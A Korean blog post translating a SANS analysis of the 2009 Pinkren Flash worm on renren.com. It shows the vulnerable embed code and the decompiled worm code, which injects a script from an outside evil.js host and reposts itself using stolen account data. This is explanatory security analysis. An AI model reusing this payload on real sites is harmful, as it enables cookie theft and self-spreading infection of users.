Pinkren 플래시 웜과 Cross Site Flashing
이 글은 SANS의 Flash attack vectors (and worms) 글을 옮긴 것입니다.
중국의 SNS 사이트인 renren.com에서 플래시를 이용한 새로운 웜이 발견되었습니다. 이 웜은 핑크 플로이드의 Wish You Were Here 뮤직 비디오로 꾸민 플래시 파일과 크로스 사이트 스크립팅이 가능한 취약점을 이용하여 전파되고 있습니다.
해당 사이트는 페이스북처럼 서로 비디오를 공유할 수 있는 기능을 제공하고 있는데, 플래시 무비를 가리킬 수 있는 기능을 이용하면 Renren 사이트에서 사용되는 비디오 플레이어 코드의 취약점을 이용하여 익스플로잇이 가능한 상태입니다.
사용자가 SWF 파일을 올리면, playswf()라는 자바스크립트 함수를 이용하여 embed 태그를 생성하고 사용자가 올린 SWF 파일을 가리키게 되어있습니다. 실제로 생성되는 코드를 살펴보면 다음과 같이 됩니다:
<embed src=”"+o.filename+”” type=”application/x-shockwave-flash”
“+”width=”"+(o.width||”320″)+”” height=”"+(o.height||”240″)+”” allowFullScreen=”true”
wmode=”"+(o.wmode||”transparent”)+”” allowScriptAccess=”always” ></embed>
allowScriptAccess는 따로 지정되지 않으면 sameDomain이 기본값이기 때문에 같은 도메인에서 가져온 HTML 페이지만 접근 가능한 반면, 위와 같이 always로 지정되어 있으면 도메인과 상관없이 값을 가져올 수 있게 됩니다. 예를 들면 플래시 무비를 보고 있는 사용자의 쿠키값을 쉽게 가로챌 수 있게 되는 것입니다.
공격자는 369 바이트 길이의 악성 플래시 파일을 이용하고 있는데 디컴파일하면 다음과 같은 내용으로 되어있습니다:
var fun = 'var x=document.createElement("SCRIPT");x.src="http://n.[removed].com/xnxss1/evil.js"; x.defer=true;document.getElementsByTagName("HEAD")[0].appendChild(x);';
flash.external.ExternalInterface.call('eval', fun);
}
위의 코드를 이용해서 스크립트를 HEAD 부분에 집어넣어 evil.js라는 악성 스크립트를 실행하도록 하고, 한편으로는 훔쳐낸 계정 정보를 이용하여 다시 사이트에 POST 하여 악성 파일을 전파하게 됩니다.
var data = 'post= "filter":null,"reduceRight":null [...] :"Wish You Were Here @ 2016.","summary":"'+evil_swf+'","noteId":0}';
data += '&tsc=';
data += tsc;
xhr_send("post","http://share.renren.com/share/submit.do",data,"preSend");
크로스 사이트 스크립팅 (XSS)은 이제 상대적으로 잘 알려져있지만, 이와 같은 실수를 하지 않도록 웹서비스 개발하시는 분들은 주의하셔야겠습니다.
by xeraph | 2009-08-26 15:46:15 | 미분류 | 트랙백 (1) | 덧글 (0)
Tracked from nchovy's me2DAY 2009-08-26 15:49:13
Pinkren 플래시 웜과 Cross Site Flashing






이전 